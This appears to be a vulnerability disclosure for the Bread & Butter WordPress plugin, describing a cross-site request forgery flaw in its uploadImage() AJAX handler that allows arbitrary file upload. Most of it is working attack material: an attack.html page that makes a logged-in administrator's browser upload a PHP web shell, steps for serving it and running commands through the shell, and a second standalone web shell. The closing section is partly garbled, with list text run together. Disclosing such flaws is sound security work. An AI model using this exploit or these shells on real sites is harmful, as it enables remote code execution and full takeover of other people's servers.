
Bread & Butter: Gate content + Capture leads + Collect first-party data + Nurture with Ai agents <= 7.10.1321 - Cross-Site Request Forgery to Arbitrary File Upload
The Bread & Butter IO plugin contains a vulnerability in its image upload functionality that allows any attacker to trick authenticated administrators into uploading arbitrary files to the server, including PHP web shells, leading to Remote Code Execution (RCE). The vulnerability stems from the uploadImage() function lacking CSRF protection, allowing attackers to craft malicious requests that administrators' browsers will automatically execute.
The vulnerability exists in the uploadImage() function in /bread-butter/src/Base/Ajax.php which lacks proper file validation and CSRF protection, while using file_put_contents() to write files directly to the WordPress uploads directory before any security checks.
Here's the simple attack.html:
<!DOCTYPE html>
<html>
<body>
<button onclick="exploit()">CSRF Attack</button>
<script>
function exploit() {
const form = document.createElement('form');
form.action = 'http://TARGETSITE.COM/wp-admin/admin-ajax.php';
form.method = 'POST';
form.enctype = 'multipart/form-data';
form.target = '_blank';
form.style.display = 'none';
// Action field
const action = document.createElement('input');
action.name = 'action';
action.value = 'upload_image';
form.appendChild(action);
// File field
const file = document.createElement('input');
file.type = 'file';
file.name = 'file';
const blob = new Blob([`<?php system($_GET['cmd']); ?>`], { type: 'image/jpeg' });
const phpFile = new File([blob], 'test.php', { type: 'image/jpeg' });
const dt = new DataTransfer();
dt.items.add(phpFile);
file.files = dt.files;
form.appendChild(file);
document.body.appendChild(form);
form.submit();
}
</script>
</body>
</html>
For a POC you can run it locally with something like:
# Serve the CSRF exploit
python3 -m http.server 1337
# Visit: http://localhost:1337/attack.html
# Click "CSRF Attack" button
# Check new tab for WordPress response
# Test uploaded shell: https://TARGETSITE.COM/wp-content/uploads/[year]/[month]/test.php?cmd=whoami
Once logged in as an admin on the victim's browser, clicking the link leads to RCE.
The vulnerability exists in the uploadImage() function at line 411 of /bread-butter/src/Base/Ajax.php:
public function uploadImage() {
$this->checkAdmin();
$file = $_FILES['file'];
$type = $file['type'];
$name = $file['name'];
$image_url = $file['tmp_name'];
$upload_dir = wp_upload_dir();
$image_data = file_get_contents($image_url);
$filename = basename($name);
if (wp_mkdir_p($upload_dir['path'])) {
$file = $upload_dir['path'] . '/' . $filename;
} else {
$file = $upload_dir['basedir'] . '/' . $filename;
}
file_put_contents($file, $image_data); // Attacker get's file moved to acessable storage!
// Post-upload processing (after vulnerability is exploited)
$wp_filetype = wp_check_filetype($filename, null);
// ... rest of function
}
The vulnerable function is registered as a WordPress AJAX handler at line 95:
add_action('wp_ajax_' . self::$uploadImage, array($this, 'uploadImage'));
Where self::$uploadImage is defined as upload_image at line 37.
The only security control is the checkAdmin() method at lines 166-171:
public function checkAdmin() {
if (!current_user_can('manage_options')) {
echo 0;
wp_die();
}
}
The lack of CSRF protection makes this vulnerability exploitable via Cross-Site Request Forgery attacks. The attack.html POC demonstrates this by:
target="_blank" to bypass CORS restrictionsattack.html)/wp-content/uploads/[year]/[month]/test.php?cmd=whoami/wp-admin/admin-ajax.php<?php
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
} else {
echo "Shell ready. Use ?cmd=command";
}
?>
/wp-content/uploads/[year]/[month]/[filename].php